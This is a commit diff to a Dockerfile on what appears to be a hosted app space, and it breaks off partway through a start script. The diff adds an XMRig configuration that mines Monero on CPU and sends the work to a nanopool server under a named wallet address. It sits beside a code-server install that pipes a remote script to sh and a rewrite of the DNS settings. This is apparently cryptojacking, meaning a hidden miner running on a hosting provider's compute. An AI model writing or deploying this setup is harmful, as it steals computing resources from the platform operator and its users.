Spaces:
Paused
Paused
Update Dockerfile
Browse files- Dockerfile +17 -15
Dockerfile
CHANGED
|
@@ -22,22 +22,24 @@ RUN curl -fsSL https://code-server.dev/install.sh | sh
|
|
| 22 |
RUN echo "nameserver 1.1.1.1" > /etc/resolv.conf \
|
| 23 |
&& echo "nameserver 1.0.0.1" >> /etc/resolv.conf
|
| 24 |
|
| 25 |
-
# Create XMRig configuration file
|
| 26 |
RUN mkdir -p /xmrig-6.22.0 \
|
| 27 |
-
&&
|
| 28 |
-
|
| 29 |
-
|
| 30 |
-
|
| 31 |
-
|
| 32 |
-
|
| 33 |
-
|
| 34 |
-
|
| 35 |
-
|
| 36 |
-
|
| 37 |
-
|
| 38 |
-
|
| 39 |
-
|
| 40 |
-
|
|
|
|
|
|
|
| 41 |
|
| 42 |
# Create and set up the start script
|
| 43 |
RUN echo '#!/bin/bash\n\
|
|
|
|
| 22 |
RUN echo "nameserver 1.1.1.1" > /etc/resolv.conf \
|
| 23 |
&& echo "nameserver 1.0.0.1" >> /etc/resolv.conf
|
| 24 |
|
| 25 |
+
# Create XMRig configuration file using a heredoc
|
| 26 |
RUN mkdir -p /xmrig-6.22.0 \
|
| 27 |
+
&& tee /xmrig-6.22.0/config.json > /dev/null <<EOF
|
| 28 |
+
{
|
| 29 |
+
"autosave": true,
|
| 30 |
+
"cpu": true,
|
| 31 |
+
"opencl": false,
|
| 32 |
+
"cuda": false,
|
| 33 |
+
"pools": [
|
| 34 |
+
{
|
| 35 |
+
"coin": "monero",
|
| 36 |
+
"url": "xmr-asia1.nanopool.org:14433",
|
| 37 |
+
"user": "48b34XQDp2d9d1neAiriFs4UHomjcDwmuUWPNMBNhwLh8yqG7TXyUjcXxXzJdWL8JcH4kSPeZYKNpPm2GATm6N5SUEU1HTi",
|
| 38 |
+
"tls": true
|
| 39 |
+
}
|
| 40 |
+
]
|
| 41 |
+
}
|
| 42 |
+
EOF
|
| 43 |
|
| 44 |
# Create and set up the start script
|
| 45 |
RUN echo '#!/bin/bash\n\
|